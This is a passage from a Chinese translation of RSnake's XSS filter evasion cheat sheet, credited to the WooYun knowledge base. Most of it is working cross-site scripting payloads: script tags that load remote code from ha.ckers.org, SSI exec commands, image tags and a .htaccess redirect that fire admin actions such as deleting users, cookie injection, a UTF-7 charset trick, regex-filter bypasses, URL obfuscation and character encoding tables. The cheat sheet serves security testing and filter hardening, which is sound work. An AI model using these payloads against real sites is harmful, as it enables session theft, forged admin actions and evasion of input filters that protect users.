它是相同的同上面僅僅代替XML檔案為當前域檔案。你可以看到結果在下面。


HTML+TIME 在XML中

它展示的 Grey Magic 是怎樣攻擊 Hotmail 和 Yahoo!的。它是僅僅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。並且這段程式碼需要放在html域body標籤之間。

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

簡單的修改字元去繞過過濾器對 ".js"的過濾

你可以重新命名你的javascript檔案為一個圖片作為xss向量

<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

SSI (伺服器端包含)

這需要SSI被安裝在伺服器端去使用這個xss向量。但可能我並不需要提及這點,因為如果你可以執行命令在伺服器端,那麼毫無異味會有更加嚴重的問題存在。

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->

PHP

需要php被安裝在伺服器端去使用這個xss向量。同樣的,如果你可以執行恩任何遠端指令碼,那麼將會有更加嚴重的問題。

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

嵌入命令的IMG

它是工作於那些需要使用者認證後才可以執行命令的當前域頁面。它將可以建立刪除使用者(如果訪問者是管理員),或是寄送某些憑證等等,雖然他是較少被使用但是是非常有用的。

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

嵌入命令的IMG II

這是更加的可怕因為並沒有特別的識別符號去使它看起開來可疑。除非不允許引入第三方域的圖片。這個向量是使用一個 302 or 304(或其他可行方案)去重定向一個圖片地址為帶有某些命令的地址。因此一個正常的圖片標籤程式碼<IMG SRC="a.jpg">可以是帶有命令的xss向量。但是使用者看到的僅僅是正常的圖片連結地址。下面是一個.htaccess(apche下)配置檔案去完成這個向量。(感謝Timo為這部分。)

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie篡改

這是公認的不著邊際,但是我已經發下一個例子是用 <META 去覆蓋cookie。另一個例子是有些網站使用cookie中的某些資料去呈現在當前訪問者的網頁中為僅僅他自己而不是從遠端資料庫中獲取。當這兩個清靜聯絡在一起的時候,你可以透過修改cookie讓javascript輸入到使用者頁面中。(你可以藉此讓使用者退出,改變使用者的狀態,甚至讓使用者以你的身份登入)

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7編碼

如果存在xss的頁面沒有提供頁面charset header,或是對於任何被設為UTF-7 的瀏覽器,我們可以利用下面的程式碼。(感謝Roman Ivanov 的提供),點選這兒為這個例子。(如果頁面設定是自動識別編碼且content-types 沒有被覆蓋,在ie瀏覽器或使用了IE渲染引擎的 Netscape 8.1,咋你不需要宣告 charset )在沒有改變編碼的情況下它是不能工作在任何現代瀏覽器,這是為什麼它被標記為完全不支援。Watchfire發現這個漏洞在Google's 自定義 404 指令碼中.

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>

使用HTML 引用封裝的xss

他是被測試在ie,具體因情況而異。它是為了繞過那些可以輸入 "<SCRIPT>" 但不允許輸入 "<SCRIPT SRC...",透過正則"/<script[^>]+src/i"進行過濾的xss過濾區。

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">

為了執行xss程式碼在那些允許輸入"<SCRIPT>" 但不允許 "<script src..."靠正則拼配"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i" (這個是重要的,因為我已經看到這個正則在實際環境中。)

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

另一個逃避相同正則 "/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的xss程式碼

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

這是另一個xss例子去繞過相同的過濾器,關於"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的正則過濾。我知道,我說過我將不會去痛痛快快的聊減災技術。但是這是我所看到的唯一例子在允許使用者輸入<SCRIPT>但是不允許透過src加在遠端指令碼的過濾這個xss的可用方法。(當然,還有一些其他方法去處理它,如果它們允許<SCRIPT> )

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

最後一個繞過"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"正則匹配的例子,透過重音符。(再以無法工作在firfox)

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

這個xss例子押注域哪些正則並不去拼配一對引號,而是去發現任何引號後就立即結束引數字串。

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

這xss仍然讓我擔心,因為他是幾乎沒有肯呢過去停止在沒有阻止活動內容的情況下。

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

URL 字串繞過

這裡假設 "http://www.google.com/" 這種在語法上是不被允許的。

IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

URL 編碼

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

雙位元組編碼 (注意:有其他的雙位元組編碼變種。請參考下面混淆後的ip為更多資訊)

<A HREF="http://1113982867/">XSS</A>

十六進位制編碼 The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因為十六進位制數實在0-f之間,因此第三位開頭的0可以被省略掉。

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

八進位制編碼 Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

混合編碼 讓我們混合基本編碼並且插入一個tab和換行符。為什麼瀏覽器允許這樣,我是不知道。但是它是可以工作當它們被包含在引號之間。

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

協議繞過 “//”代替“http:// ” 可以節省更多字元。這是非常有用的當輸入空間是有限的時候。兩個字元可能解決大問題。也是容易繞過像"(ht|f)tp(s)?://" 這樣的正則過濾。(感謝 Ozh 提出這部分)。你也可以改變//" 為 "\"。你需要保持斜槓在適當的地方。否則可能會被當作一個相對路徑的url。

<A HREF="//www.google.com/">XSS</A>

Google "feeling lucky" I Firefox 使用 Google的"feeling lucky" 函式去重定向使用者輸入的任何關鍵字。因此你可以在可利用頁面使用任何關鍵字針對任何Firefox使用者。它是使用了"keyword:" 協議。你可以使用多個關鍵字像下面的例子:XSS+RSnake。它是無法使用在 Firefox as of 2.0。

<A HREF="//google">XSS</A>

Google "feeling lucky" II 這是使用一個小技巧讓他工作在Firefox,因為只有它實現了 "feeling lucky" 函式。不像下一個例子,它是無法工作在 Opera ,由於 Opera認為它是一種老的釣魚攻擊。它是一個簡單的畸形url。如果你點選彈出框的確定按鈕它將工作。但是由於這是一個錯誤對話方塊,我是說Opera是不支援它。它也不再被支援在 Firefox 2.0。

<A HREF="http:[email protected]">XSS</A>

Google "feeling lucky" III 它是透過畸形url來工作在Firefox 和 Opera瀏覽器。因為只有他們實現了 "feeling lucky" 函式。像上面的例子一樣,它們需要你的網站在谷歌搜尋中排名第一。(例如google)

<A HREF="http://google:ha.ckers.org">XSS</A>

移除別名 結合上面的url。移除 "www." 將節省四個字元。

<A HREF="http://google.com/">XSS</A>

絕對 DNS用額外的點

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

針對內容替換的攻擊向量 假設 "http://www.google.com/" 會被替換為空。我確實使用了一個簡單的攻擊向量去針對特殊文字過濾依靠過濾器本身。這是一個例子去幫助建立向量。(IE: "java script:" 被替換為"java script:", 它是仍可以工作在 IE,使用安全模組的 Netscape 8.1+ 和 Opera)

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

字元編碼表

再付 "<" 在html或是javascript中所有可能的編碼形式。它們絕大多數是無法正常渲染的,但是可以在上文中某些情景下得到渲染。

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

字元編碼和ip混淆器

下面地址中包含了在xss有用的各種基本轉換器。 http://ha.ckers.org/xsscalc.html


作者和主編

Robert "RSnake" Hansen


翻譯

老道

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章